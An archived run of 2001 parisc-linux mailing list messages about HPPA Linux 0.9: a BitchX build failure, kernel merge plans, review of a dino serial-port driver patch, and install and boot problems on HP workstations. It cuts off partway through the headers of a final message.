Subject: [parisc-linux] wierd shell behaviour
Date: Sun, 3 Jun 2001 20:52:32 +0200 (CEST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106032046490.13376-100000@droid3.webreklam.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620169 20252 80.91.229.3 (22 Nov 2014 01:36:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 12:52:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from droid3.webreklam.hu (para.abs0lut.com [195.56.113.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58D78482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 12:52:33 -0600 (MDT)
Original-Received: from localhost (diab@localhost)
	by droid3.webreklam.hu (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA14708
	for <parisc-linux@parisc-linux.org>; Sun, 3 Jun 2001 20:52:32 +0200
X-Sender: diab@droid3.webreklam.hu
Xref: news.gmane.org gmane.linux.ports.parisc:11210

I got the latest 0.9 cd image installed and apt-get upgrade'd everything

I was trying to compile BitchX, configure runs ok and on make it
stops:

# make
cd source \
  &&  'local_dir=/root' 'INSTALL_IRC=/usr/local/bin/BitchX'
'IRCLIB=/usr/local/lib/bx' 'CC=gcc' 'CFLAGS=-O2 -Wall -g '
'HELPDIR=/usr/local/lib/bx/help' 'INSTALL_WSERV=/usr/local/lib/bx/wserv'
'IRCPATH=~/.BitchX:~/.BitchX/plugins:.:/usr/local/lib/bx/plugins:/usr/local/lib/bx/script:/usr/local/lib/bx'
'TRANSLATION_PATH=/usr/local/lib/bx/translation' 'LDFLAGS=' 'LIBS=-lcrypt
-lm -lncurses -lresolv ' 'LN=ln -s' 'RM=rm -f' 'TCL_SRCS=' 'TCL_OBJS='
'CD_PLAY=' 'CD_SRCS=' 'CD_OBJS=' 'TCL_LIBS='
'PLUGINDIR=/usr/local/lib/bx/plugins' '_VERSION_=BitchX'
'VERSION=BitchX-1.0c18' 'INSTALL_DATA=/usr/bin/install -c -m 644'
'INSTALL_SCRIPT=/usr/local/lib/bx/script' 'EXEEXT=' 'SHLIB_CFLAGS='
'SHLIB_SUFFIX=.so' all
/bin/sh: local_dir=/root: No such file or directory

as you can see the shell tries to run 'local_dir=/root' instead of
evaluating it. i was able to compile the binary "on my
own", but any1 knows how to change this behaviour? 

sh is symlinked to bash, and it is:
GNU bash, version 2.05.0(1)-release (hppa-unknown-linux-gnu)

anyways (tried the same bitchx 1.0c18 source) it works on an
i386 pc, same debian/shell:
GNU bash, version 2.05.0(1)-release (i386-pc-linux-gnu)

regards,

-- 
diab 
		





From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] wierd shell behaviour
Date: Sun, 03 Jun 2001 13:08:01 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <m156dEH-001VltC@bame.riverrock.org>
References: <Pine.LNX.4.21.0106032046490.13376-100000@droid3.webreklam.hu>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620169 20254 80.91.229.3 (22 Nov 2014 01:36:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: diab <diab@diab.rulez.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 13:08:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E778482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 13:08:35 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA10338;
	Sun, 3 Jun 2001 13:08:01 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m156dEH-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Sun, 3 Jun 2001 13:08:01 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Sun, 03 Jun 2001 20:52:32 +0200."
             <Pine.LNX.4.21.0106032046490.13376-100000@droid3.webreklam.hu> 
Original-Sender: bame@riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:11211

> 
> I got the latest 0.9 cd image installed and apt-get upgrade'd everything
> 
> I was trying to compile BitchX, configure runs ok and on make it
> stops:
> 
> # make
> cd source \
>   &&  'local_dir=/root' 'INSTALL_IRC=/usr/local/bin/BitchX' [...]
> 'SHLIB_SUFFIX=.so' all
> /bin/sh: local_dir=/root: No such file or directory

Looks like something is missing after the && -- like 'make'?  Check
your x86 box I guess.

This may be unrelated, but many packages have an older version of
config.guess/config.sub which does not understand parisc.




From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel update?
Date: Sun, 03 Jun 2001 13:09:56 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <m156dG8-001VltC@bame.riverrock.org>
References: <Pine.LNX.4.33.0106031439480.24303-100000@edu.joroinen.fi>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620170 20256 80.91.229.3 (22 Nov 2014 01:36:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Pasi_K=E4rkk=E4inen?= <pasik@iki.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 13:10:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E863482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 13:10:35 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA10355;
	Sun, 3 Jun 2001 13:09:56 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m156dG8-001VltC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Sun, 3 Jun 2001 13:09:56 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Sun, 03 Jun 2001 14:41:24 +0300."
             <Pine.LNX.4.33.0106031439480.24303-100000@edu.joroinen.fi> 
Original-Sender: bame@riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:11212

> When are you going to update the kernel? Or is pa-risc stuff merged to the
> 2.4.5 for example?

We're merging from 2.4.0 to 2.4.5 soon :-)

	-P




From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Cl=E9ment_MOYROUD?= <moyroudc@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Patch for dino serial port on B-class workstations
Date: Sun, 3 Jun 2001 21:20:50 +0200
Lines: 143
Approved: news@gmane.org
Message-ID: <004701c0ec62$4db91820$1d0fe4d5@fr>
References: <200106030721.BAA02755@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620170 20258 80.91.229.3 (22 Nov 2014 01:36:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:10 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 13:20:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from postfix2-2.free.fr (postfix2-2.free.fr [213.228.0.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19BF7482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 13:20:41 -0600 (MDT)
Original-Received: from jmo57541worldonline (reims-1-a7-15-29.dial.proxad.net [213.228.15.29])
	by postfix2-2.free.fr (Postfix) with SMTP
	id 601BF6B7BF; Sun,  3 Jun 2001 21:20:35 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:11213

> Clement MOYROUD wrote:
> > Hi all !
> >
> > I have made a patch for dino. It's a bit ugly, but before going on with
> > a rewrite of the dino driver, I would like to have some feedback.
>
> Clement! This is great!
>
> Could you explain why you think yuo need to rewrite the dino driver?
> This is basically how I expected it to work.
>

I think (as well as the other members of the ESIEE team) that the dino
driver has not been written in order to "comply" with some sort of a GSC
driver standard - i.e. it could make use of the register_busdevice instead
of requiring it's own irq region (e.g. lasi). I have started to do this, but
it would require some modifications of the busdevice structure to add some
support for the pci-specific part of dino. With this modification of the
busdevice struct (and some other functions), I would be much more clean.....
But if you think it's clear enough, I've got other things to do :)

> >  So
> > feel free to apply it on your kernel tree and give me some remarks about
it.
>
> I've neither applied nor tested it.
>
> > diff -Nru linux.old/drivers/gsc/dino.c linux/drivers/gsc/dino.c
> > --- linux.old/drivers/gsc/dino.c Thu May 31 16:56:20 2001
> > +++ linux/drivers/gsc/dino.c Thu May 31 16:55:07 2001
> > @@ -66,6 +66,7 @@
> >  #include <asm/irq.h> /* for "gsc" irq functions */
> >  #include <asm/gsc.h>
> >
> > +#include "busdevice.h"
> >
> >  #undef DINO_DEBUG
> >
> > @@ -542,6 +543,14 @@
> >  }
> >  }
> >
> > +/* Here is where the dino's serial port gets its irq on B-class
workstations
> >    */
> > +
> > +static int
> > +dino_find_irq(struct busdevice *dino_dev, struct hp_device *dev)
> > +{
>
> Some upper portion of the address bits are already validated
> but the code in bus_device.c.  Need to valid some of the lower
> address bits here.
>
> Want to make sure it's really the serial device that we want
> to talk to and not the PS/2 port or "fire extinguisher" (only
> used on 743 or Hitachi box, I forgot).
>
>

As I wrote, it's something that works on a b132/180, and I didn't check in
the hardware database to see if it is in use in other workstations. But I
know I'll have to make some tests to find which irq return....

> > + return 10;
> > +}
> > +
> >  static void __init
> >  dino_bios_init(void)
> >  {
> > @@ -804,18 +813,33 @@
> >  }
> >
> >  static int __init
> > -dino_common_init(struct dino_device *dino_dev)
> > +dino_common_init(struct hp_device *d, struct dino_device *dino_dev)
> >  {
> >  int status;
> >  u32 eim;
> >  struct gsc_irq gsc_irq;
> >  struct resource *res;
> >
> > + struct busdevice *dino;
>
> Please call this dino_busdev or something like that to differentiate
> it from the other "dino" data structures.
>

I agree it might not be that clear. In fact, my future plans are to use only
one struct (bye-bye  struct dino_device !), and I didn't take care of the
clarity of this....

> > + int ret;
> > +
> >  pcibios_register_hba((struct pci_hba_data *) dino_dev);
> >
> >  pci_bios = &dino_bios_ops;   /* used by pci_scan_bus() */
> >  pci_port = &dino_port_ops;
> >
> > +
> > +        /* Needed for the serial port to work. Quite ugly for now */
> > +
> > + dino = kmalloc(sizeof(struct busdevice), GFP_KERNEL);
> > + if(!dino)
> > + return -ENOMEM;
> > +
> > + dino->name = "Dino";
> > + dino->hpa = d->hpa;
> > + dino->find_irq = dino_find_irq;
>
> I don't think this in an ugly hack.
> Overall, this is how I expected it to work.
> Might not even need to fill in the rest of the functions
> in the bus_device jump table.
>

As I wrote before, it looks ugly to me because I think the driver would look
much better if dino.c was rewritten. But again, if you don't feel like it
is, I won't complain !

> > +
> > +
> >  /*
> >  ** Note: SMP systems can make use of IRR1/IAR1 registers
> >  **   But it won't buy much performance except in very
>
> offhand, the rest looks ok.
>

ok

> grant
>

So, are you happy with the actual look of the driver or do you think it is
worth rewriting it ?

Clement MOYROUD
Puffin ESIEE Team





From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .9 install problems on a 735
Date: Sun, 3 Jun 2001 20:20:40 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010603202040.L7349@parcelfarce.linux.theplanet.co.uk>
References: <200106021656.MAA18064@p2.buttafuoco.net> <20010602191635.D25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620170 20259 80.91.229.3 (22 Nov 2014 01:36:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:10 +0000 (UTC)
Cc: Jim Buttafuoco <jim@buttafuoco.org>,
	PARISC-LINUX Mailing List <parisc-linux@thepuffingroup.com>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 13:20:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51F55482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 13:20:58 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA05832
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Jun 2001 13:13:26 -0600
Original-Received: (qmail 27240 invoked by uid 15267); 3 Jun 2001 19:20:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27232 invoked from network); 3 Jun 2001 19:20:46 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 3 Jun 2001 19:20:46 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 156dQW-0000Vv-00; Sun, 03 Jun 2001 20:20:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010602191635.D25745@linuxcare.com>; from rhirst@linuxcare.com on Sat, Jun 02, 2001 at 07:16:35PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11214

On Sat, Jun 02, 2001 at 07:16:35PM +0100, Richard Hirst wrote:
> I had it hang on my 715/old, because of problems with the alignment
> of locks in glibc 2.2.1.  The installer is based on glibc 2.2.1 at
> the moment, although you would typically upgrade to glibc 2.2.3
> (which is also on the CD), after install.  That problem is processor
> specific, and I wouldn't have expected it to affect the 735.

715/scorpio is PCXT and so are the 735 and 755 workstations.  I'd expect
them to have similar problems.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .9 install problems on a 735
Date: Sun, 3 Jun 2001 20:28:25 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010603202825.M25745@linuxcare.com>
References: <200106021656.MAA18064@p2.buttafuoco.net> <20010602191635.D25745@linuxcare.com> <20010603202040.L7349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620171 20263 80.91.229.3 (22 Nov 2014 01:36:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:11 +0000 (UTC)
Cc: Jim Buttafuoco <jim@buttafuoco.org>,
	PARISC-LINUX Mailing List <parisc-linux@thepuffingroup.com>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 13:32:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29B6D482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 13:32:10 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA05878
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Jun 2001 13:24:48 -0600
Original-Received: (qmail 4947 invoked by uid 15267); 3 Jun 2001 19:32:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4939 invoked from network); 3 Jun 2001 19:32:08 -0000
Original-Received: from pc2-hems4-0-cust95.bre.cable.ntl.com (HELO rhirst.linuxcare.com) (213.107.176.95)
  by mailserv2.iuinc.com with SMTP; 3 Jun 2001 19:32:08 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 76862B007; Sun,  3 Jun 2001 20:28:25 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010603202040.L7349@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sun, Jun 03, 2001 at 08:20:40PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11215

On Sun, Jun 03, 2001 at 08:20:40PM +0100, Matthew Wilcox wrote:
> On Sat, Jun 02, 2001 at 07:16:35PM +0100, Richard Hirst wrote:
> > I had it hang on my 715/old, because of problems with the alignment
> > of locks in glibc 2.2.1.  The installer is based on glibc 2.2.1 at
> > the moment, although you would typically upgrade to glibc 2.2.3
> > (which is also on the CD), after install.  That problem is processor
> > specific, and I wouldn't have expected it to affect the 735.
> 
> 715/scorpio is PCXT and so are the 735 and 755 workstations.  I'd expect
> them to have similar problems.

You're right, I should have checked the hw database.  Maybe those 3 should be
in the same section on http://parisc-linux.org/release-0.9/systems.html

Richard





From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel update?
Date: Sun, 3 Jun 2001 21:11:28 +0100 (BST)
Lines: 10
Approved: news@gmane.org
Message-ID: <E156eDg-0004fw-00@the-village.bc.nu>
References: <m156dG8-001VltC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620171 20267 80.91.229.3 (22 Nov 2014 01:36:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:11 +0000 (UTC)
Cc: pasik@iki.fi (=?ISO-8859-1?Q?Pasi_K=E4rkk=E4inen?=),
	parisc-linux@lists.parisc-linux.org
To: bame@riverrock.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 14:14:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 254B4482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 14:14:23 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 156eDg-0004fw-00; Sun, 03 Jun 2001 21:11:28 +0100
In-Reply-To: <m156dG8-001VltC@bame.riverrock.org> from "bame@riverrock.org" at Jun 03, 2001 01:09:56 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11216

> > When are you going to update the kernel? Or is pa-risc stuff merged to the
> > 2.4.5 for example?
> 
> We're merging from 2.4.0 to 2.4.5 soon :-)

Should be fun. Im just trying to get 0.9 onto my box ready for merging with
the mainstream




From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Patch for dino serial port on B-class workstations
Date: Sun, 03 Jun 2001 15:19:24 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <200106032119.PAA06092@puffin.external.hp.com>
References: <004701c0ec62$4db91820$1d0fe4d5@fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620171 20269 80.91.229.3 (22 Nov 2014 01:36:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Cl=E9ment_MOYROUD?= <moyroudc@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 15:27:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51E6A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 15:27:25 -0600 (MDT)
Original-Received: from puffin (localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA06092;
	Sun, 3 Jun 2001 15:19:24 -0600
In-Reply-To: Your message of "Sun, 03 Jun 2001 21:20:50 +0200."
             <004701c0ec62$4db91820$1d0fe4d5@fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:11217

Clement MOYROUD wrote:
...
> I think (as well as the other members of the ESIEE team) that the dino
> driver has not been written in order to "comply" with some sort of a GSC
> driver standard - i.e. it could make use of the register_busdevice instead
> of requiring it's own irq region (e.g. lasi).

You are right. IIRC, bus_devices didn't exist when I wrote the *second*
version of dino support. Technically, Alan Cox wrote the first one.

> I have started to do this, but
> it would require some modifications of the busdevice structure to add some
> support for the pci-specific part of dino. With this modification of the
> busdevice struct (and some other functions), I would be much more clean.....

hmmm...ok.

> But if you think it's clear enough, I've got other things to do :)

*I* think it's ok. more on this below.


...
> As I wrote, it's something that works on a b132/180, and I didn't check in
> the hardware database to see if it is in use in other workstations. But I
> know I'll have to make some tests to find which irq return....

No you won't. THe IRQ is hardwired in dino. It's in the ERS someplace.
You just need to verify the address for that device really
belongs to the RS232 port and isn't the PS/2 port.

...
> I agree it might not be that clear. In fact, my future plans are to use only
> one struct (bye-bye  struct dino_device !), and I didn't take care of the
> clarity of this....

ah ok. If dino_device is that similar to bus_device then the direction you
are taking makes sense.

...
> As I wrote before, it looks ugly to me because I think the driver would look
> much better if dino.c was rewritten. But again, if you don't feel like it
> is, I won't complain !

If you (or the team) feel strongly about rewriting dino, then I'd like
to encourage you to do it.  Just don't break what currently works.

...
> So, are you happy with the actual look of the driver or do you think it is
> worth rewriting it ?

PCI suport mostly works. That's what mattered to me before.
Rewriting dino.c to use bus_device instead of dino_device is probably
the "right thing" (tm) since some people will want PS/2 and RS232 to work.
I don't care to test/debug problems with dino code anymore though. I don't
mind helping someone do it.  In other words, whoever wants to rewrite dino.c
welcome to and I'll help some when needed.

> Clement MOYROUD
> Puffin ESIEE Team

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failed boot on D310
Date: Sun, 3 Jun 2001 16:33:40 -0500 (CDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106031600540.10748-100000@oliver.internal.sjdjweis.com>
References: <20010603192902.L25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620172 20276 80.91.229.3 (22 Nov 2014 01:36:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 15:32:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5A8B482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 15:32:09 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id QAA18441;
	Sun, 3 Jun 2001 16:33:40 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <20010603192902.L25745@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11218

On Sun, 3 Jun 2001, Richard Hirst wrote:
> On Sun, Jun 03, 2001 at 12:41:46PM -0500, djweis@sjdjweis.com wrote:
> > On Sun, 3 Jun 2001, Richard Hirst wrote:
> > > On Sun, Jun 03, 2001 at 08:33:23AM -0500, djweis@sjdjweis.com wrote:
> > > > I've got a D310 with a 100mhz processor and 128 megs of RAM. I tried to
> > > > boot the ISO version 0.9 last night, but it crashed on boot. I can get the
> > > > exact error messages, it looked like a register dump. 
> > > > 
> > > > Is there any reason to assume that this will or won't boot?
> > > Listed as untested on http://parisc-linux.org/release-0.9/systems.html
> > > Are you trying the serial or sti image?  If you can use serial, and
> > > get you terminal emulator to capture the boot messages and crash for us,
> > > that would help.
> > 
> > It's headless, I was using the serial image. Below is my terminal output
> > 
> Ah, I'd assumed it got as far as starting the kernel and then the
> kernel crashed.  In this case I think it has failed reading the
> CD.  Can you read the CD on some other system to check it burned
> ok?  Are you confident that the CD drive is P5 and is working?

I'll give that a try. It's definitely P5, I tried P0 a few times and
noticed that hpux kept booting. According to the legend inside the drive
cover, P5 is correct. 

The cd did mount and read fine on another machine.

> An alternative is to boot the relevant lifimage over the network,
> and then either install from the network or from the CD (if the
> net booted kernel sees the CD).  See the REAME on the CD for details.

I'll give that a try.

dave

-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:17:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Failed boot on D310
Date: Sun, 3 Jun 2001 17:44:33 -0500 (CDT)
Lines: 141
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0106031741030.18856-100000@oliver.internal.sjdjweis.com>
References: <20010603192902.L25745@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416620172 20277 80.91.229.3 (22 Nov 2014 01:36:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 16:43:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
